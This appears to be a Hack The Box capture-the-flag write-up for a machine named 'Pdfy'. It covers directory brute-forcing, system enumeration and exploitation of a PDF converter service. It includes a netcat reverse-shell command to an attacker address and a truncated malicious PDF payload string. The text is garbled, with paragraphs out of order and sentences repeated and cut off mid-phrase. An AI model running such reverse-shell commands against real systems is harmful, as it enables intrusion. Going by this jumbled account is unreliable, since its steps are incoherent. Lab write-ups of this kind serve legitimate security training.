Pdfy Htb Writeup Upd Official

# Establish a reverse shell os.system('nc 10.10.14.12 4444 -e /bin/bash') After executing the exploit, we gain a reverse shell as the user pdfy . We then proceed to explore the machine and gather more information about the user and its privileges.

# Connect to the PDF converter service s.connect(('10.10.11.232', 8080)) pdfy htb writeup upd

Next, we proceed to enumerate the web server on port 80. We access the website using our browser and notice that it appears to be a simple web application with a search functionality. We also observe that the website uses a .pdf extension for its pages, which could indicate that the PDF converter service on port 8080 might be related to the web application. # Establish a reverse shell os

Next, we perform a system enumeration using tools like linpeas and systemd-analyze . The results reveal that the machine uses a SystemD service called pdfy-converter to manage the PDF converter service on port 8080. We access the website using our browser and

Using DirBuster, we perform a directory brute-forcing attack on the web server and discover several directories, including /uploads , /download , and /admin . The /uploads directory seems to be used for storing user-uploaded files, while the /download directory appears to be used for downloading converted PDF files.

# Define the malicious file contents malicious_file = "JVBERi0xLjMK…(%PDF-1.3)…"